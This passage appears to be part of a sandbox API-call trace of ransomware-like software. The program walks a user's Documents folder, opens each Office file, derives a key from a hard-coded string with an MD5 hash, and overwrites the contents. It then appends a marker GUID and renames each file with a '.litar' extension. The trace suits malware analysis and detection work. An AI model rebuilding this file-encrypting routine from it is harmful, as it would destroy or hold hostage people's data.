(HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.309] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0r-zyx2wH0-I.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0r-zyx2wh0-i.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0r-zyx2wH0-I.pptx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0r-zyx2wh0-i.pptx.litar")) returned 1 [0125.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.310] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.311] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b5d6b0, ftCreationTime.dwHighDateTime=0x1d5186d, ftLastAccessTime.dwLowDateTime=0x910f0330, ftLastAccessTime.dwHighDateTime=0x1d527e2, ftLastWriteTime.dwLowDateTime=0x910f0330, ftLastWriteTime.dwHighDateTime=0x1d527e2, nFileSizeHigh=0x0, nFileSizeLow=0x13d33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="30Wm1uP_k08jvj97lQ5Z.pptx", cAlternateFileName="30WM1U~1.PPT")) returned 1 [0125.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.311] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.311] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\30Wm1uP_k08jvj97lQ5Z.pptx") returned=".pptx" [0125.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\30Wm1uP_k08jvj97lQ5Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\30wm1up_k08jvj97lq5z.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.311] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=81203) returned 1 [0125.312] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.313] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13d0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.313] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.315] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.315] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.315] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.315] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13d33, lpOverlapped=0x0) returned 1 [0125.316] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.316] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.316] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.316] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.316] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.316] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.317] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.317] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.317] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.317] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.317] GetLastError () returned 0x0 [0125.317] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.317] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.317] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.317] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13d30) returned 0x30fa0b0 [0125.317] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.317] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.317] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13d2e, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13d2e, lpOverlapped=0x0) returned 1 [0125.318] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.318] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13d33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.318] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.318] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.318] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.318] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.318] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.318] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.318] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.318] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.318] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.318] CloseHandle (hObject=0x624) returned 1 [0125.319] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.319] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.319] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.319] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\30Wm1uP_k08jvj97lQ5Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\30wm1up_k08jvj97lq5z.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\30Wm1uP_k08jvj97lQ5Z.pptx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\30wm1up_k08jvj97lq5z.pptx.litar")) returned 1 [0125.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.320] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.321] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.321] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b8d7a80, ftCreationTime.dwHighDateTime=0x1d4ca9d, ftLastAccessTime.dwLowDateTime=0x9c274c10, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0x9c274c10, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="38Tocm", cAlternateFileName="")) returned 1 [0125.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075148 [0125.321] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.321] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.321] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c25b5f0, ftCreationTime.dwHighDateTime=0x1d4cd4e, ftLastAccessTime.dwLowDateTime=0xece8db20, ftLastAccessTime.dwHighDateTime=0x1d4fa53, ftLastWriteTime.dwLowDateTime=0xece8db20, ftLastWriteTime.dwHighDateTime=0x1d4fa53, nFileSizeHigh=0x0, nFileSizeLow=0xf3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7okz4Pc-gSuOVu.docx", cAlternateFileName="7OKZ4P~1.DOC")) returned 1 [0125.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.321] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.321] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7okz4Pc-gSuOVu.docx") returned=".docx" [0125.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7okz4Pc-gSuOVu.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7okz4pc-gsuovu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.321] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=62368) returned 1 [0125.321] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.323] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf37a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.323] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.325] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.325] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.325] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.325] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xf3a0, lpOverlapped=0x0) returned 1 [0125.325] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.326] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.326] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.326] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.326] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.326] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.326] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.326] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.326] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.327] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.327] GetLastError () returned 0x0 [0125.327] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.327] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.327] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xf3a0) returned 0x30fa0b0 [0125.327] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.327] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.327] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xf39b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xf39b, lpOverlapped=0x0) returned 1 [0125.327] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.327] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.328] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.328] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.328] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.328] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.328] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.328] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.328] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.328] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.328] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.328] CloseHandle (hObject=0x624) returned 1 [0125.329] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.329] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.329] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7okz4Pc-gSuOVu.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7okz4pc-gsuovu.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7okz4Pc-gSuOVu.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7okz4pc-gsuovu.docx.litar")) returned 1 [0125.330] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.330] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.331] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.331] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0125.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.331] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a50890, ftCreationTime.dwHighDateTime=0x1d51304, ftLastAccessTime.dwLowDateTime=0xdcee1f00, ftLastAccessTime.dwHighDateTime=0x1d50d77, ftLastWriteTime.dwLowDateTime=0xdcee1f00, ftLastWriteTime.dwHighDateTime=0x1d50d77, nFileSizeHigh=0x0, nFileSizeLow=0x90ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GfPtWvk5Lmj.xlsx", cAlternateFileName="GFPTWV~1.XLS")) returned 1 [0125.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.331] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GfPtWvk5Lmj.xlsx") returned=".xlsx" [0125.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GfPtWvk5Lmj.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gfptwvk5lmj.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.332] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=37103) returned 1 [0125.332] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.333] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x90c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.334] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.335] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.335] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.335] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x90ef, lpOverlapped=0x0) returned 1 [0125.336] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.336] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.336] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.336] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.336] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.337] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.337] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.337] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.337] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.337] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.337] GetLastError () returned 0x0 [0125.337] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.337] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.337] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.337] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90f0) returned 0x30fa0b0 [0125.337] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.337] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.337] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x90ea, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x90ea, lpOverlapped=0x0) returned 1 [0125.338] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.338] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x90ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.338] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.338] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.338] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.338] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.338] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.338] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.338] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.338] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.338] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.338] CloseHandle (hObject=0x624) returned 